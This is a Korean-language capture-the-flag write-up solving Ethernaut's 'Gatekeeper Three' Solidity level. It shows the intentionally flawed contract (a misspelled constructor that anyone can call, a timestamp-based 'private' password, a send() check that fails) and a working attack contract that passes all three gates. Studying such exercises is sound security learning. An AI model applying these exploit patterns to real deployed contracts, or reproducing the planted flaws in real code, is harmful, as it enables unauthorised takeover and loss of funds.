// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract SimpleTrick {
GatekeeperThree public target;
address public trick;
uint private password = block.timestamp;
constructor (address payable _target) {
target = GatekeeperThree(_target);
}
function checkPassword(uint _password) public returns (bool) {
if (_password == password) {
return true;
}
password = block.timestamp;
return false;
}
function trickInit() public {
trick = address(this);
}
function trickyTrick() public {
if (address(this) == msg.sender && address(this) != trick) {
target.getAllowance(password);
}
}
}
contract GatekeeperThree {
address public owner;
address public entrant;
bool public allow_enterance = false;
SimpleTrick public trick;
function construct0r() public {
owner = msg.sender;
}
modifier gateOne() {
require(msg.sender == owner);
require(tx.origin != owner);
_;
}
modifier gateTwo() {
require(allow_enterance == true);
_;
}
modifier gateThree() {
if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
_;
}
}
function getAllowance(uint _password) public {
if (trick.checkPassword(_password)) {
allow_enterance = true;
}
}
function createTrick() public {
trick = new SimpleTrick(payable(address(this)));
trick.trickInit();
}
function enter() public gateOne gateTwo gateThree returns (bool entered) {
entrant = tx.origin;
return true;
}
receive external payable {}
}
이 문제는 Gatekeeper One, Two 처럼 3개의 modifier를 통과하면 풀리는 문제이다.
modifier gateOne() {
require(msg.sender == owner);
require(tx.origin != owner);
_;
}
msg.sender
가 owner
이어야 하고, tx.origin
이 owner
이면 안된다고 한다.owner
를 획득할 수 있는지 찾아보자. function construct0r() public {
owner = msg.sender;
}
construct0r
를 실행하면 owner
를 쉽게 덮을 수 있다.tx.origin
이 owner
이면 안되기 때문에 contract를 만들어 호출해주어야 할 것 같다. modifier gateTwo() {
require(allow_enterance == true);
_;
}
allow_enterance
를 true
로 만들어 줘야 통과할 수 있다고 한다. 한번 찾아보자. function getAllowance(uint _password) public {
if (trick.checkPassword(_password)) {
allow_enterance = true;
}
}
getAllowance
함수를 호출하여 값을 변경시킬 수 있었다.trick.checkPassword(_password)
를 통과하여야 한다. uint private password = block.timestamp;
function checkPassword(uint _password) public returns (bool) {
if (_password == password) {
return true;
}
password = block.timestamp;
return false;
}
password
는 private로 선언 되어있고block.timestamp
가 들어간다. (constructor)checkPassword
는 맞으면 true
를 뱉어주어 결과적으로 allow_enterance = true;
가 실행될 것이다.trick
컨트렉트는 만들어있지 않기 때문에 createTrick()
으로 만들어주고 trick
컨트렉트에서 getAllowance
를 호출해주는 함수가 존재하지만 사실 block.timestamp
는 블록이 생성될 때 시간이기 때문에 password
는 block.timestamp
가 되게 될 것이다. 말 그대로 trick 이었다. modifier gateThree() {
if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
_;
}
fallback
에 revert()
를 넣어줘서 send
가 false
를 뱉게하여 통과하게 해주자.contract attack
{
GatekeeperThree public target = GatekeeperThree(payable(0xc6c5f7aeF896E32D42e88B080C5bb2994Edc3dEB));
function atk() public
{
target.construct0r();
target.createTrick();
target.getAllowance(uint256(block.timestamp));
target.enter();
}
receive() external payable
{
revert();
}
}
이렇게 ethernaut 마지막 문제까지 해결하였다.